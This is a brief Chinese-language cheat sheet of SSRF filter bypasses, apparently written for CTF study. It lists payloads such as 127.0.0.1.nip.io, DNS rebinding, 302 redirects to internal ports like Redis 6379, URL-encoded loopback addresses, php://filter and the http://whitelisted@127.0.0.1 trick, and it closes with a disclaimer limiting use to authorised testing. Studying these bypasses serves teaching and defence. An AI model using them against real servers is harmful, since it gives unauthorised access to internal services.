IP 黑名单 nip.io 127.0.0.1.nip.io
IP 黑名单 DNS 重绑定 自控域名 → TTL=0
IP 黑名单 HTTP 重定向 allowed.com → 302 → 内网
http:// 协议 HTTPS https://127.0.0.1/
file:// 协议 PHP 协议 php://filter/...
端口黑名单 重定向 先访问 80,再 302 到 6379
关键词过滤 IP 编码 + URL 编码 %31%32%37%2E%30%2E%30%2E%31
域名白名单 Open Redirect 白名单域名/redirect?to=内网
域名白名单 @ 绕过 http://白名单@127.0.0.1/

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。SSRF 漏洞的利用在未经授权的情况下属于违法行为,请在合法合规的环境中学习与实践。